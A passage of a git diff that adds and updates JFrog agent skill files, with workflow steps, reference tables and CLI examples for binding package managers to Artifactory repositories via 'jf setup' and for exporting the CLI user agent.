cases:** User asks for all documented use cases → bootstrap llms-full → list grouped by SaaS vs self-managed from `URL:` lines in dump. + +**Topology:** User needs DR across two regions → clarify SaaS vs self-managed → recommend active-passive (or related) section from dump with `URL:` citations. + +**Deploy:** User wants Artifactory on EKS → deployment + AWS sizing sections from dump → jfrog-platform chart with external DB and sizing values file. diff --git a/skills/jfrog-reference-architecture/references/doc-access.md b/skills/jfrog-reference-architecture/references/doc-access.md new file mode 100644 index 0000000..3f576b7 --- /dev/null +++ b/skills/jfrog-reference-architecture/references/doc-access.md @@ -0,0 +1,32 @@ +# Reference Architecture — documentation access + +Fetch official content in-session. **Do not copy page bodies into this repo.** + +## Bootstrap and fallback + +| Step | URL | When | +|------|-----|------| +| Primary | https://jfrog.com/reference-architecture/llms-full.txt | Start of every ref-arch session | +| 1 | https://jfrog.com/reference-architecture/llms.txt | llms-full fails or for `index.md` URL pattern | +| 2 | `https://jfrog.com/reference-architecture/<path>/index.md` | One section; append `index.md` to HTML path | +| 3 | https://jfrog.com/reference-architecture/sitemap.xml | Exhaustive URL list | +| 4 | HTML URL (no `index.md`) | If `index.md` fails | + +Parse llms-full by `---`, `# <Title>`, and `URL: https://jfrog.com/reference-architecture/...`. +Base path: `https://jfrog.com/reference-architecture/`. SaaS prefix: **`jfrog-saas`**, not `saas`. + +## Size governance + +| Fetched size | Action | +|--------------|--------| +| Under ~1 MB, not truncated | One llms-full bootstrap per ref-arch thread | +| ~1–2 MB or ref-arch is side context | Prefer sitemap + targeted `index.md` | +| Truncated or over ~2 MB | Skip mandatory llms-full; use fallback ladder only | + +Downgrade early for narrow questions (e.g. sizing only → `.../deployment/sizing/index.md`). +Tell the user when targeted fetches replace a full bootstrap. + +## Citations and Helm + +- User-facing link: the section `URL:` line (HTML). +- Chart details: https://github.com/jfrog/charts/tree/master/stable/jfrog-platform — `WebFetch` README when install commands are needed. diff --git a/skills/jfrog-setup-package-managers/SKILL.md b/skills/jfrog-setup-package-managers/SKILL.md new file mode 100644 index 0000000..160086f --- /dev/null +++ b/skills/jfrog-setup-package-managers/SKILL.md @@ -0,0 +1,250 @@ +--- +name: jfrog-setup-package-managers +description: >- + Use this skill when the user asks to set up, configure, bind, or connect a + package manager (npm, pip, uv, pipenv, maven, gradle, go, docker, helm, ...) + to JFrog Artifactory via `jf setup` and `.jfrog/local/package-resolution.json`; + when a workspace manifest exists with no matching binding entry; or when a + session hook reports package-manager config missing. Skip when the binding + already has the same repo key. Never pick a repo by discovery; use resolver + output only (unless the user names or asks to browse repos). On unresolved + or failed setup, ask with the failure verbatim — never switch servers. + NOT for installing packages, general Artifactory repo operations (use the base + jfrog skill), or MCP server setup (use jfrog-mcp-management). +metadata: + role: workflow +--- + +# JFrog — Setup Package Managers for Artifactory + +Apply the session hook's repo pick via [`jf setup`](references/jf-setup-command.md), +then record it in [`.jfrog/local/package-resolution.json`](references/workspace-binding.md). +`jf setup` writes package-manager-native config (`.npmrc`, `pip.conf`, `uv.toml`, …); the binding +lets the hook re-apply on later sessions. + +## At a glance (always-read core) + +Every `jf setup` this session: + +- **Cover base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) At-a-glance / Tier A** + (Step 0.1) → `<UA>`, `--server-id` placement, single-server, stop-don't-switch. + Prefer full base SKILL.md when you can; Tier B (`cli-gotchas` / `jf-api` / …) + only if the next action needs `jf api` / advanced CLI +- **Always `--repo` + `--server-id`.** `<repoKey>` ← [Step 2](#step-2--get-the-resolved-repo) + (table / binding / global-cache) or user override / unresolved AskQuestion; + never self-discover. `<SID>` ← resolver only (never user-selected) +- **Confirm** before first `jf setup` unless user asked silent / non-interactive +- **Exit 0 → merge binding**; non-zero → stop, surface CLI verbatim, offer + alternate repo or `abort` (2-answer cap) +- **Binding = decisions, not creds** — never write tokens into + `.jfrog/local/package-resolution.json` +- **Unresolved / failed:** ask with failure verbatim — never switch servers +- **Never skip** [Gotchas](#gotchas--hard-rules-never-skip) + base Tier A hard + rules (`../jfrog/SKILL.md` Cautious execution / Server selection / Tier A + gotcha floor). Full `cli-gotchas.md` is Tier B — not required for `jf setup` + +Steps: [0](#step-0--read-the-base-skill-then-ensure-jf-is-ready) → +[1](#step-1--identify-package-managers-to-bind) → +[2](#step-2--get-the-resolved-repo) → +[3](#step-3--confirm-run-jf-setup-persist-binding) → +[4](#step-4--load-the-routing-policy) + +## Scope (this skill vs session hook) + +**Session-start hook:** resolves repo keys per package type, injects the +"Resolved URLs for this session" table, refreshes the global cache. The same +renderer is available on demand via `modules/package-resolution/scripts/print-policy.mjs` (the enforce +notice embeds the exact command), so the policy can be loaded after setup. + +**This skill:** reads that output, runs `jf setup`, and persists the workspace +binding at `.jfrog/local/package-resolution.json` when package-manager config is still missing. + +**Honor the injected policy's governed scope.** The session policy lists the +package managers it governs. Do **not** *proactively* onboard a package manager the policy +doesn't govern (e.g. a stray `Dockerfile` when only `pypi`/`npm` are governed) — +those are intentionally out of scope. An **explicit user request** to set up any +package manager still works (Step 1's user-mention signal and Step 2's AskQuestion for an +unlisted package manager apply as usual). + +## Prerequisites + +- `jf setup` **mutates user state** (`~/.npmrc`, `~/.docker/config.json`, …). + Confirm before the first `jf setup` in a session unless the user explicitly + requests silent/non-interactive setup. +- Covering base At-a-glance / Tier A is required — done as Step 0.1 below. + +**Out of scope:** CLI install/login (`../jfrog/references/…`). + +## Gotchas — hard rules (never skip) + +**Not tips.** Do/don'ts and known traps for `jf setup` — follow every bullet +before binding. Also honor base **Tier A** hard rules from +[`../jfrog/SKILL.md`](../jfrog/SKILL.md) (Cautious execution, Server selection, +Tier A gotcha floor). Full `cli-gotchas.md` is Tier B — load only if this +session also needs `jf api` / advanced CLI. + +- **Always pass `--repo` and `--server-id`** — omitting `--repo` fails when + multiple repos match. See [`jf-setup-command.md`](references/jf-setup-command.md). +- **`jf setup` overwrites package-manager config** without backup — skip package managers whose binding + already matches (Step 1, signal 2). +- **Docker / Podman — prefix or stop.** `jf setup docker` writes creds only; + bare `docker pull <img>` hits Docker Hub. Complete setup, then pull via + `<host>/<repoKey>/<img>`. +- **Binding holds decisions, not credentials** — never write tokens into + `.jfrog/local/package-resolution.json`. +- **`gradle` ≠ `maven`.** Bind under `repositories.gradle`, never `repositories.maven`. +- **Yarn / Poetry** — not APR zero-touch; bind only on explicit user ask (Step 1). + +## References + +| File | When to read | +|------|--------------| +| [`references/jf-setup-command.md`](references/jf-setup-command.md) | CLI flags, supported package managers, exit-code contract, `jf setup --help` | +| [`references/global-cache-file.md`](references/global-cache-file.md) | Global cache shape, resolution classes, jq one-liners | +| [`references/workspace-binding.md`](references/workspace-binding.md) | Workspace binding schema, package-manager → type map, merge semantics | + +## Step 0 — Read the base skill, then ensure `jf` is ready + +1. **Cover base skill At-a-glance / Tier A before the first non-exempt `jf` + (even when `jf` is already configured).** Prefer reading + [`../jfrog/SKILL.md`](../jfrog/SKILL.md) in full when you can; the At-a-glance + Tier A floor is enough for `jf setup` / package-manager binding. Load Tier B + (`cli-gotchas.md`, `jf-api.md`, …) only if the next action needs `jf api` / + advanced CLI. Then run that skill's *Environment check* (and export + `JFROG_CLI_USER_AGENT`) before the first `jf` call. +2. Ensure `jf` + a configured server (`<SID>`). If `jf config show` already + succeeds, skip to Step 1; otherwise: + - **`jf --version`** missing → install per + [`../jfrog/references/jfrog-cli-install-upgrade.md`](../jfrog/references/jfrog-cli-install-upgrade.md). + - **`jf config show`** empty → login per + [`../jfrog/references/jfrog-login-flow.md`](../jfrog/references/jfrog-login-flow.md) + or `jf config add` with access-token (Bearer-only). +3. Do not run `jf setup` until both succeed. Confirm before install/login. + +## Step 1 — Identify package managers to bind + +Combine four signals, in order; intersect with `jf setup --help` supported list: + +1. **Explicit user mention.** Map aliases: python → `pip`/`uv`/`pipenv` (and + `poetry` only if the user named Poetry); java → `maven`/`gradle`; node → + `npm`/`pnpm` by lockfile (`yarn` only if the user named Yarn). +2. **Workspace binding** — read `.jfrog/local/package-resolution.json`. Drop + package managers already bound to the same key unless recovering from 401/403 + (re-run same key). Package-manager → type table: + [`workspace-binding.md`](references/workspace-binding.md). +3. **Workspace manifests** when still ambiguous (several package managers of one + type may apply — e.g. `requirements.txt` **and** `uv.lock`): + + | Manifest / signal | Package manager | + |---|---| + | `package.json`, `pnpm-lock.yaml` | `npm` (+ `pnpm` if `pnpm-lock.yaml` present) | + | `yarn.lock` (alone) | `npm` — do **not** auto-select `yarn` | + | `requirements.txt` | `pip` | + | `Pipfile` | `pipenv` | + | `uv.lock` | `uv` — suppresses bare `pyproject.toml` → `pip`; keep `requirements.txt` + `uv.lock` as multi-PM | + | `pyproject.toml` | `[tool.uv]` → `uv`; `[tool.poetry]` → `poetry` only on explicit user ask, else **not applicable** (do not select `pip`); bare PEP 621 with **no** `uv.lock` → `pip` | + | `pom.xml` | `maven` | + | `build.gradle`, `build.gradle.kts` | `gradle` (bind under type **`gradle`**) | + | `go.mod` | `go` | + | `Dockerfile`, `compose.yaml`, `docker-compose.yml` | `docker` / `podman` | + | `*.csproj`, `NuGet.Config` | `nuget` / `dotnet` | + | `Chart.yaml` | `helm` | + + **Binary gate (client tools only):** missing client on `PATH` → skip as not + applicable; do **not** substitute another package manager or report setup + success. **Exempt `maven` / `gradle`** (config-only). Details: + [`jf-setup-command.md`](references/jf-setup-command.md). + +4. **`jf setup --help`** — filter candidates; never hardcode the list. See + [`jf-setup-command.md`](references/jf-setup-command.md). Unsupported → report + gap, skip. + +## Step 2 — Get the resolved repo + +For each `<package-manager>`, recover `<repoKey>` and `<serverId>` from the first source +available: + +1. **"Resolved URLs for this session"** table (default). Parse `<repoKey>` + from URL; `<serverId>` from host. +2. **Workspace binding** — if table was trimmed. `repositories.<type>` + (`gradle` → `repositories.gradle`, not `maven`). +3. **Global cache** — last resort only; never overrides (1) or (2). See + [`global-cache-file.md`](references/global-cache-file.md). + +Cache disagreeing with (1)/(2) is not a reason to change the repo. + +**Don't choose a repo yourself:** no listing, enumerating, probing, or iterating +`--server-id` to pick one, and don't second-guess the resolver — use resolver +output only. If the user explicitly asks to browse repos, list them via +`jf api "/artifactory/api/repositories?type=virtual&packageType=<pkgType>"` +(Artifactory **package type** from the binding map — `gradle` not `maven`; +`uv` / `pip` / `pipenv` / `poetry` → `pypi`), then let the user choose; the +agent still never makes the choice on its own. + +### Unresolved repo key + +Ask via AskQuestion (include the resolver/setup failure text verbatim): + +> No default repo for `<package-manager>` on `<SID>`. +> Failure: `<verbatim failure>` +> Which Artifactory repository should I use? (repo key, or `abort`.) + +Cap at **2 answers per package manager**, then abort. User may override repo only, never server. + +## Step 3 — Confirm, run `jf setup`, persist binding + +1. Present the plan, one row per package manager: + + ```text + <package-manager> → <repoKey> on <SID> (source: resolver) + <package-manager> → <repoKey> on <SID> (source: user-supplied) + ``` + +2. Show binding diffs when the repo key changes. + +3. **Confirm** via AskQuestion (`apply` / `change repos` / `abort`) unless the + user explicitly requested silent/non-interactive setup — then run directly. + +4. Sequentially, one package manager at a time: + + ```bash + jf setup <package-manager> --server-id <SID> --repo <repoKey> [--project <key>] + ``` + +5. **Exit code `0` = success** — merge binding (step 6). On non-zero, **stop**, + surface CLI output verbatim, offer alternate repo or `abort` (2-answer cap). + +6. On success, merge into `.jfrog/local/package-resolution.json` per + [`workspace-binding.md`](references/workspace-binding.md): + + ```json + { "repositories": { "<pkgType>": "<repoKey>" } } + ``` + + Map package manager → type via the reference table (`gradle` → `gradle`). + Merge atomically. + +## Step 4 — Load the routing policy + +If this session started with the "routing NOT READY" (enforce) notice, that +notice includes a refresh command (`node <plugin>/modules/package-resolution/scripts/print-policy.mjs`). +After Step 3 succeeds, run that exact command and treat its stdout as the +authoritative, now-current policy — it prints the resolved Artifactory URLs and +hard rules. Continue the original request using those URLs. + +If the command prints nothing, routing is off by config +(`packageResolution.enabled` is not `true`) — an admin opt-in. Report that to +the user and let them decide whether to enable it. + +## Before you run `jf setup` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] base At-a-glance / Tier A covered; `<UA>` exported +- [ ] `<repoKey>` ← Step 2 or user override; `<SID>` ← resolver only +- [ ] confirmed (or explicit silent-setup) +- [ ] `jf setup <pm> --server-id <SID> --repo <repoKey>` +- [ ] exit 0 → merge binding (no creds); non-zero → stop + report verbatim; + never switch servers +- [ ] **never skip** Gotchas (this skill) + base Tier A hard rules (full + `cli-gotchas.md` only if Tier B path) diff --git a/skills/jfrog-setup-package-managers/references/global-cache-file.md b/skills/jfrog-setup-package-managers/references/global-cache-file.md new file mode 100644 index 0000000..7cb7869 --- /dev/null +++ b/skills/jfrog-setup-package-managers/references/global-cache-file.md @@ -0,0 +1,117 @@ +# `package-resolution.json` — Global Resolver Cache + +The session-start hook runs a small resolver that picks the Artifactory +repository key per package type for the current JFrog server and caches +the result in: + +``` +~/.jfrog/skills-cache/package-resolution.json +``` + +This skill **reads** that file in Step 2 to recover the repo key per PM +without re-doing discovery. The file is the canonical, machine-readable +mirror of the "Resolved URLs for this session" table that the hook +injects into agent context — the latter can be trimmed by long-context +pruning, the file cannot. + +> This is a **read-only contract** for this skill. The cache is written by +> the session-start hook; never write or hand-edit it. + +> **Not** the workspace binding file — that lives at +> `.jfrog/local/package-resolution.json` (see [`workspace-binding.md`](workspace-binding.md)). + +## Shape + +```json +{ + "schemaVersion": 1, + "servers": { + "<serverId>": { + "repositories": { + "npm": "npm-virtual", + "pypi": "pypi-virtual", + "maven": "libs-release", + "gradle":"gradle-virtual", + "go": "go-virtual", + "docker":"docker-virtual", + "helm": "helm-virtual", + "nuget": "nuget-virtual" + }, + "cached_at": "2026-05-27T09:30:00Z", + "source": "verified", + "agentsConfigMtimeMs": 1719158400000 + } + } +} +``` + +Each `servers.<serverId>` entry holds `repositories`, `cached_at`, `source`, and +`agentsConfigMtimeMs` (mtime of `~/.jfrog/agents-conf.json` at last refresh). +The workspace binding file at +[`.jfrog/local/package-resolution.json`](workspace-binding.md) holds +only `repositories`. The map key **is** the `serverId`. + +| Field | Meaning | +|---|---| +| `schemaVersion` | Always `1` for this schema. | +| `servers.<serverId>.repositories.<pkgType>` | Resolver's chosen repo key for this package type, on this server. **Missing key = `unresolved`** for that package manager. | +| `servers.<serverId>.cached_at` | ISO-8601 timestamp of the last refresh. TTL from `packageResolution.cacheTtlDays` in agents-conf.json (default 7). | +| `servers.<serverId>.agentsConfigMtimeMs` | Invalidates cache when `~/.jfrog/agents-conf.json` changes. | +| `servers.<serverId>.source` | `verified` = keys from agents-conf.json checked via `GET /api/repositories/{key}`; `agents-config` = trusted without HTTP (`verifyRepos: false`). | + +Package type keys used in the file are `npm`, `pypi`, `maven`, `gradle`, `go`, +`docker`, `helm`, `nuget`. Note `pypi` (not `pip`) — same convention the +JFrog API uses. The package-manager names accepted by `jf setup` (`pip`, `uv`, +`pnpm`, `podman`, `dotnet`, `pipenv`, `twine`, and optionally `yarn` / `poetry` +when the user asks) collapse onto these package-type keys — **`gradle` maps to +`gradle`**, not `maven`. + + +## Three result classes per package manager + +When you look up a package manager in this file, you get one of: + +| Class | Detect | What the resolver did | HTTP-verified? | +|---|---|---|---| +| **resolved (verified)** | `repositories.<pkg>` present, `source` is `verified` | Key from `~/.jfrog/agents-conf.json` `defaultGlobalRepos`, checked via `GET /api/repositories/<key>` | **Yes** (at last refresh) | +| **resolved (trusted)** | `repositories.<pkg>` present, `source` is `agents-config` | Key from agents-conf.json with `verifyRepos: false` | **No** | +| **unresolved** | `repositories.<pkg>` is missing | No mapping in agents-conf.json, verify failed, or type not configured | n/a | + +The skill relies on `jf setup --repo` to validate the repo key at apply +time (`GET /api/repositories/<repoKey>` inside the CLI). + +## Reading the cache from the skill + +The current `serverId` for this session comes from `jf config export` +(the default server). Read the cache with: + +```bash +SID="$(jf c show --server-id 2>/dev/null | awk '/Server ID/ {print $3; exit}')" +CACHE="$HOME/.jfrog/skills-cache/package-resolution.json" + +# Get a repo key for a package type (empty if unresolved): +jq -r --arg sid "$SID" --arg type "<pkgType>" '.servers[$sid].repositories[$type] // ""' "$CACHE" + +# Dump every resolved (pkgType, repoKey) pair for this SID: +jq -r --arg sid "$SID" '.servers[$sid].repositories | to_entries[] | "\(.key)\t\(.value)"' "$CACHE" + +# Inspect resolution source: +jq -r --arg sid "$SID" '.servers[$sid].source' "$CACHE" +``` + +If `$CACHE` does not exist, or the SID branch is missing, the hook has +not yet resolved on this machine for this server — fall back to reading +the injected "Resolved URLs for this session" table in agent context +(parse the URL to recover `repoKey`), and if that is also absent, treat +every package manager as `unresolved` and prompt the user (Step 2). + +The resolver refreshes stale entries on session start (TTL + agents-conf.json mtime). +This skill never invalidates the cache — if `jf setup` fails on a repo key, ask the user. + +## Not in this file + +These belong elsewhere and the skill must not look for them here: + +- Tokens, credentials, refresh tokens. (Stored by `jf config`.) +- Per-workspace bindings. (Stored in + [`.jfrog/local/package-resolution.json`](workspace-binding.md).) diff --git a/skills/jfrog-setup-package-managers/references/jf-setup-command.md b/skills/jfrog-setup-package-managers/references/jf-setup-command.md new file mode 100644 index 0000000..da87292 --- /dev/null +++ b/skills/jfrog-setup-package-managers/references/jf-setup-command.md @@ -0,0 +1,68 @@ +# `jf setup` Command Reference + +Configures a local package manager to resolve from / publish to Artifactory. CLI +install and server config: [`../../jfrog/SKILL.md`](../../jfrog/SKILL.md). + +## Invocation + +```bash +jf setup <package-manager> --server-id <SID> --repo <repo-key> [--project <project-key>] +``` + +Always pass `--server-id` and `--repo`. Without `--repo`, multiple matching +repos trigger an interactive prompt or error (`Please provide the repository +name using '--repo' flag`). + +`docker` / `podman` use the same shape — CLI validates the repo via +`GET /artifactory/api/repositories/<key>` before configuring. Record +`repositories.docker` in the workspace marker for pull URL composition. + +## Supported package-manager list + +Drifts across CLI versions — always parse from the installed binary: + +```bash +jf setup --help +``` + +Look for the "Supported package managers are:" line. Never hardcode. + +## Success and failure + +| Signal | Meaning | Action | +|---|---|---| +| Exit `0` | Success | Merge marker, continue | +| Non-zero | Failure | Stop; surface stdout+stderr verbatim | +| `repository <key> not found` | Bad key, wrong type, or permissions | AskQuestion for alternate repo | +| `401` / `403` | Token issue | Re-login same server — [`jfrog-login-flow.md`](../../jfrog/references/jfrog-login-flow.md) | +| Wrong server `404` | Bad `<SID>` | Stop — never iterate servers | + +Do not continue to the next package manager after a failure. + +## Agent notes + +### Python / Node detection (composition) + +- `uv.lock` → `uv` (writes `uv.toml`, not `pip.conf`). Takes precedence over a + bare `pyproject.toml` pip fallback — common layout is `uv.lock` + PEP 621 + **without** `[tool.uv]`; select `uv` only, never also `pip`. +- `requirements.txt` + `uv.lock` → bind **both** `pip` and `uv` (independent + manifests). Missing `uv` binary → skip `uv` as not applicable; do **not** + substitute `pip` for the uv candidate (pip still binds from its own file). +- `pyproject.toml`: + 1. `[tool.uv]` → `uv` + 2. `[tool.poetry]` → `poetry` **only** on explicit user ask; otherwise **not + applicable** (do not fall through to `pip`) + 3. Bare PEP 621 with **neither** uv signal and **no** `uv.lock` → `pip` +- Prefer `npm` / `pnpm` for Node; `yarn.lock` alone → `npm`. Do not proactively + run `jf setup yarn` / `jf setup poetry` (APR zero-touch omits both). + +### Binary gate / types + +- Missing package-manager binary → skip that candidate; do not substitute another. + Exception: `maven` / `gradle` need no client binary (`jf setup` writes config + only; wrappers/`pom.xml`/Gradle files are enough). Bind `gradle` under the + **`gradle`** package type (not `maven`). +- Browse repos with Artifactory `packageType` from the binding map (`uv` → + `pypi`, not `uv`). +- `jf setup --help` is the authoritative flag reference. diff --git a/skills/jfrog-setup-package-managers/references/workspace-binding.md b/skills/jfrog-setup-package-managers/references/workspace-binding.md new file mode 100644 index 0000000..24f135c --- /dev/null +++ b/skills/jfrog-setup-package-managers/references/workspace-binding.md @@ -0,0 +1,97 @@ +# `.jfrog/local/package-resolution.json` — Workspace Binding File + +This skill records workspace repo bindings in a file the session-start hook +reads to override org defaults from `~/.jfrog/skills-cache/package-resolution.json`. + +The file is the **decisions** record, not a credential store. Tokens live +in `jf config` and in package-manager-native files written by `jf setup` itself. + +## Location + +``` +<workspace-root>/.jfrog/local/package-resolution.json +``` + +`<workspace-root>` is the directory the user opened in the IDE — **not** +`$HOME`. Workspace-scoped on purpose: different projects can override +different Artifactory repos. + +## Schema + +```json +{ + "repositories": { + "npm": "<repository-key>", + "pypi": "<repository-key>", + "maven": "<repository-key>", + "gradle": "<repository-key>", + "go": "<repository-key>", + "docker": "<repository-key>", + "helm": "<repository-key>", + "nuget": "<repository-key>" + } +} +``` + +| Field | Required | Description | +|---|---|---| +| `repositories` | yes | Map keyed by **package type** — same keys as `servers.<serverId>.repositories` in the global resolver cache. Omit package types you do not override. | + +### Package-manager name → package type (when merging after `jf setup`) + +Aligned with Agent Package Resolution (`PACKAGE_TYPES` / eager families). +`gradle` is its **own** Artifactory package type — never fold it under `maven`. + +| `jf setup` package manager | `repositories` key | +|---|---| +| `npm`, `pnpm` | `npm` | +| `yarn` | `npm` (CLI may still accept `jf setup yarn`; APR zero-touch does **not** auto-setup yarn — only bind on explicit user request) | +| `pip`, `pipenv`, `uv`, `twine` | `pypi` | +| `poetry` | `pypi` (CLI may accept it; APR zero-touch does **not** auto-setup poetry — bind only on explicit user request) | +| `maven` | `maven` | +| `gradle` | `gradle` | +| `go` | `go` | +| `docker`, `podman` | `docker` | +| `helm` | `helm` | +| `nuget`, `dotnet` | `nuget` | + +## Operations + +### 1. Load + +Before setup, **read** the file (if it exists). For each package manager in the +to-bind set, map it to a package type and compare +`repositories.<type>` against what the resolver chose in Step 2: + +| Case | Action | +|---|---| +| Missing type in `repositories` | Run `jf setup` and merge in Step 6. | +| Same repo key | **Skip** `jf setup` — hook already applies overrides on session start. | +| Different repo key | Show diff and confirm via AskQuestion before overwriting. | + +### 2. Write / merge + +After each successful `jf setup`: + +1. Read the current file (treat ENOENT as `{ "repositories": {} }`). +2. Set `repositories[<pkgType>] = <repoKey>` using the package-manager → type table above. +3. Atomically write `{ "repositories": { ... } }` — preserve other package + types already in the map. + +JSON must use 2-space indent. + +### 3. Never write + +- Credentials (`accessToken`, passwords, …). +- Package-manager-native config paths — those are owned by `jf setup`. + +## Integration contract + +| Consumer | What it reads | +|---|---| +| Session-start hook | `repositories` — first workspace root with this file (multi-root) | +| This skill | Round-trip load → diff → confirm → write | +| `opencode-jfrog-plugin` | **Not updated** — out of scope until it reads this file | + +Changing the `repositories` key semantics is a breaking change; coordinate +with the hook before altering them. diff --git a/skills/jfrog/SKILL.md b/skills/jfrog/SKILL.md index 973ccf4..15d49a9 100644 --- a/skills/jfrog/SKILL.md +++ b/skills/jfrog/SKILL.md @@ -15,21 +15,79 @@ description: >- advanced security, exposures, or any JFrog product name. Do NOT use this skill to install, add, remove, list, or manage MCP servers. compatibility: >- - Requires jq on PATH. + Requires bash, jq, and awk on PATH. The JFrog CLI (jf) is required for Tier 2 + (CLI) and Tier 3 (jf api) operations; without it, only MCP (Tier 1) is available. metadata: role: base - version: "0.16.0" + version: "0.25.0" --- # JFrog Skill The foundational skill for all JFrog agent interactions. Covers JFrog Platform concepts, `jf` CLI setup and authentication, and intent routing to workflow skills. +## At a glance (always-read core) + +Network-facing `jf` this session. Exempt until `<SID>`: `jf --version`, +`jf config show`. + +**Tier A — always-read floor** (before first *non-exempt* `jf`): + +- **UA:** [Environment check](#environment-check) once → on exit 0/1, export + its **exact stdout line** as `JFROG_CLI_USER_AGENT` atop every bash that + runs `jf` (never invent / rebuild the UA) +- **Server:** resolve default once → `--server-id <SID>` **after** subcommand + (`jf api --server-id …`, never `jf --server-id … api`). One request → one + server (unless user names servers, e.g. `compare <a> and <b>`) +- **Error (401/403/404/timeout):** stop — never retry another server / never + infer multi-server. Override only if user names a server +- **No prep mutations:** missing repo/artifact/build → stop + report; no + create/copy/move/upload to fill the gap (workaround ask ≠ permission) +- **Never guess** tools / `jf api` paths → tool list / `--help` / `references/`. + 404 → stop (no guessed retry). `jf api` needs product prefix + (`/artifactory`, `/xray`, …) +- **Hard-rule signals:** [Cautious execution](#cautious-execution), + [Server selection rules](#server-selection-rules-mandatory), + [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets below — not tips +- **Gotcha floor (Tier A):** never interactive (`jf config add`, `jf login`, + template wizards, …); if a call fails **with** `--server-id`, do **not** + retry without it; 401/403/404/timeout → stop, never hop servers; `--quiet` + is not global — check `--help` before adding it + +**Tier B — path-gated MUST** (before `jf api` / AQL / advanced CLI I/O / +MCP-result-via-shell anti-patterns): full +[`references/cli-gotchas.md`](references/cli-gotchas.md), +[`references/jf-api.md`](references/jf-api.md), +[`references/preserving-command-output.md`](references/preserving-command-output.md), +[`references/cli-command-discovery.md`](references/cli-command-discovery.md). +Setup / `jf setup` / ordinary CLI do **not** require Tier B. + +**Tier C — on-demand:** [`references/INDEX.md`](references/INDEX.md) domain +refs; login / CLI install when needed. + +Contents (prefer full SKILL.md; At a glance = Tier A floor if you only see the +top): + +| Section | Topic | +|---------|-------| +| [Tool selection strategy](#tool-selection-strategy) | MCP vs CLI vs `jf api` | +| [Prerequisites](#prerequisites), [Environment check](#environment-check) | before first non-exempt `jf` | +| [Cautious execution](#cautious-execution), [Server selection rules](#server-selection-rules-mandatory) | **Tier A hard rules** | +| [Gotchas — hard rules](#gotchas--hard-rules-never-skip) | Tier A reminders; full `cli-gotchas.md` = **Tier B** | +| [Path-gated base references](#path-gated-base-references-must-before-jf-api--advanced-cli) | **Tier B MUST** before `jf api` / advanced CLI | +| [When to read reference files](#when-to-read-reference-files) → [`references/INDEX.md`](references/INDEX.md) | Tier C domain refs | +| [Command discovery](#command-discovery) / [jf api](#invoking-platform-apis-with-jf-api) | Tier B when those paths apply | +| [Structured inputs](#structured-inputs) / [Batch](#batch-and-parallel-execution) / [Preserving output](#preserving-command-output) | templates / parallel / temp files | + +> **Floor for partial reads:** Tier A (this section) before first non-exempt +> `jf`. Prefer the full SKILL.md when you can. Load **Tier B** only when the +> next action needs `jf api` / AQL / advanced CLI I/O (checklist). Domain +> detail → Tier C [`references/INDEX.md`](references/INDEX.md). + Interact with the JFrog Platform through three tool tiers — see -[Tool selection strategy](#tool-selection-strategy). In code examples below, -`<skill_path>` refers to this skill's directory and is resolved automatically -by the agent. If the agent does not resolve it, determine the path by locating -this SKILL.md file and using its parent directory. +[Tool selection strategy](#tool-selection-strategy). In code examples, +`<skill_path>` is this skill's directory, resolved automatically by the agent. +If unresolved, locate this SKILL.md file and use its parent directory. > **Out of scope: MCP server management.** Installing, listing, removing, or > configuring MCP servers (e.g. "install an MCP", "what MCPs can I install", @@ -51,8 +109,8 @@ cover the operation or fails: subcommand. Validate the path first — see rule 6 in [Cautious execution](#cautious-execution). -MCP and the CLI may use different token scopes. If one tier returns 403, -try the alternate tier before reporting the operation blocked. +MCP and CLI may use different token scopes. One tier returns 403 → try the +other tier before reporting the operation blocked. ## Prerequisites @@ -82,23 +140,40 @@ thing to check — re-run with the appropriate escalation above. ## Environment check -MCP (Tier 1) operations do not require this check and can proceed immediately. -Before your first Tier 2 or Tier 3 (`jf`) operation in a session, run the -environment check and **remember its stdout** as `<UA>` for the rest of the +MCP (Tier 1) skips this check — proceed immediately. Before your first Tier 2 +or Tier 3 (`jf`) operation this session, run the environment check. On exit +0/1, **remember its stdout line verbatim** as `<UA>` for the rest of the session: ```bash bash <skill_path>/scripts/check-environment.sh <model-slug> -# stdout (one line): jfrog-skills/<version> [(tool=<harness>; model=<model-slug>)] jfrog-cli-go/<cli-version> +# exit 0/1 stdout: exactly one opaque line — that line IS <UA>. Copy it byte-for-byte. +# Do not parse, rebuild, or approximate the export value from this comment. # stderr: JSON state (cached 24h at ${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/jfrog-skill-state.json) ``` -Pass the precise underlying-model slug with version: `opus-4.7`, -`sonnet-4.5`, `gpt-5-codex`, `gemini-2.5-pro`, `composer-2-fast`. Cursor's -Composer product slug **is** the canonical id — use it as-is. Do **not** -pass harness/role names (`subagent`, `agent`, `assistant`) or bare family -names (`claude`, `gpt`); subagents inherit the parent's slug. If genuinely -unknown, pass `unknown`. +Exit 2/3 produces no `<UA>`; follow the exit table below and do not proceed to +Tier 2 or 3. + +Pass your own model slug, lowercased, with version (e.g. `opus-4.7`, +`gpt-5.6-sol`, `gemini-2.5-pro`, `composer-2-fast`). Examples, not an +allowlist — emit a new/unlisted name verbatim, not `unknown`. Not +harness/role (`subagent`, `agent`) or bare family (`claude`, `gpt`); +subagents inherit the parent's slug. `unknown` only if truly unidentifiable. + +### Never invent `JFROG_CLI_USER_AGENT` + +On exit 0/1, the script's stdout line **is** `<UA>` — export it verbatim (never +invent, rebuild, or edit it). On exit 2/3 there is no `<UA>` — do not synthesize +one. Current stdout starts with `jfrog-skills/`, never with `model/`. + +- **Parent session:** if `<UA>` is missing or starts with `model/` (legacy), + discard it and **re-run** `check-environment.sh`. Export the new exit 0/1 + stdout line only when it does **not** start with `model/`; otherwise **stop** + (do not invent). +- **Subagents:** use only the parent-passed exact `<UA>` — never re-run the + script or construct a replacement. If that value is missing or starts with + `model/`, **stop** (do not export / do not invent); do not re-run. ### Export `JFROG_CLI_USER_AGENT` once per bash invocation @@ -107,14 +182,23 @@ all `jf` calls in that invocation pick it up: ```bash export JFROG_CLI_USER_AGENT='<UA>' +export JFROG_CLI_AI_MODEL='<model-slug>' # jf >= 2.120.0 emits ai-model/<slug> from this jf config show jf api /artifactory/api/system/version ``` +`JFROG_CLI_AI_MODEL` carries the model the CLI cannot infer from the environment; +export it alongside `<UA>` (same `<model-slug>` you passed the script). Older CLIs +ignore it; the remembered `<UA>` already carries the slug when the script +recorded one. + Do **not** repeat the assignment per `jf` call (`JFROG_CLI_USER_AGENT='<UA>' jf …` 